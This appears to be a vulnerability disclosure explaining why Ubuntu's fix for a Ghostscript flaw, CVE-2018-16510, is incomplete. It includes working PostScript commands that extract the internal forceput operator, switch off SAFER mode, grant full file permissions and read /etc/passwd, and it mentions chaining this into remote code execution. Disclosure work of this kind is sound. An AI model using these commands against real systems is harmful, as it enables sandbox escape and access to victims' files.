Ubuntu: incomplete fix for CVE-2018-16510 This Ubuntu advisory claims to fix CVE-2018-16510: https://usn.ubuntu.com/3768-1/ That does not appear to be true. The root cause of CVE-2018-16510 was that a bunch of procedures were in userdict that should have been executeonly, but were not. In ghostscript-9.22~dfsg+1-0ubuntu1.2 those procedures are not executeonly, and therefore the issue is still exploitable. In retrospect, I think I didn't explain the problem very well in bug 1640 . Upstream does appear to have fixed it completely, but obviously they are postscript experts. I think this class of postscript vulnerability isn't explained well anywhere, so for future reference I'll explain the problem. A procedure in postscript works how you would expect, like a function you can call. However, if you grab a reference to it then you can sort of treat it like an array, adding and removing elements from it. Here is an example, you define a procedure like this: { (hello\n) print } We could assign a name to it like this if we want: /whatever { (hello\n) print } def That creates an entry in userdict, so now you can just call it like this: GS>whatever hello Because it's now in userdict, you can get a reference to it and examine it. For example, pass it to the exec operator to get it executed: GS>userdict /whatever get exec hello But look at this, you can also put and get elements as if it was an array: GS>userdict /whatever get 0 get == (hello\n) GS>userdict /whatever get 1 get == print Notice that each command is a new element. In fact, if you query it's type, it is an array: GS>userdict /whatever get type == arraytype That's just standard postscript and not surprising, but remember that ghostscript is partially written in postscript (like emacs is partially written in lisp). This means ghostscript has a lot of internal operators that are supposed to be reserved for system use, and shouldn't be exposed to users. To prevent users from getting references to operators out of system routines, a special attribute is set on them called `executeonly`. As the name suggests, this means you can execute the proecdure but you cannot access it's elements with `get` and `put`. Let's set the executeonly attribute on our whatever procedure: GS>userdict /whatever userdict /whatever get executeonly put Now we can still execute it: GS>userdict /whatever get exec hello But if we try to access it's contents: GS>userdict /whatever get 0 get Error: /invalidaccess in --get-- Cool, now we can hide internal stuff users shouldnt be able to access. CVE-2018-16510 was a problem where a dictionary called GS_PDF_ProcSet was left in userdict which a bunch of internal routines in it. You can dump them all like this: GS>userdict /GS_PDF_ProcSet get { == == } forall They are mostly not very exciting, but look at this one: GS>GS_PDF_ProcSet /switch_to_normal_marking_ops get == {pdfopdict /m {normal_m} --bind-- --.forceput-- pdfopdict /l {normal_l} --bind-- --.forceput-- pdfopdict /c {normal_c} --bind-- --.forceput-- pdfopdict /v {normal_v} --bind-- --.forceput-- pdfopdict /y {normal_y} --bind-- --.forceput-- pdfopdict /re {normal_re} --bind-- --.forceput--} Oops, there's a forceput in there - that's a game over "root access" operator that ignores all access checks. Here is how to extract it: GS>/forceput { null } dup 0 GS_PDF_ProcSet /switch_to_normal_marking_ops get 4 get put def Now we can call it and do whatever we want, how about we disable SAFER mode and give ourselves access to the whole filesystem. All of these settings are readonly, but forceput just ignores that: GS>systemdict /SAFER false forceput GS>systemdict /userparams get /PermitFileControl [(*)] forceput GS>systemdict /userparams get /PermitFileWriting [(*)] forceput GS>systemdict /userparams get /PermitFileReading [(*)] forceput Now we can read/write/create files: GS>(/etc/passwd) (r) file dup 64 string readline pop == (root:x:0:0:root:/root:/bin/bash) Combine that with bug 1643 and there is an easy remote code execution just by browsing a website. I'll attach the full exploit to bug 1643 , it requires a fun trick (credit to evn for the idea!) to create directories, because there is no mkdir operator in postscript. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: taviso